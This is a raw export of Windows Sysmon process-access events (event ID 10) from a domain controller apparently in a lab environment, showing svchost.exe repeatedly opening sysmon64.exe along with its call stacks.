09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001536Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001535Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001534Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001533Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001532Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001531Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001530Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001529Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001528Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001527Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001526Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001525Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001524Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001523Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001522Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001521Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001520Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001519Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001518Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001517Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001516Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001515Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001514Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001513Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 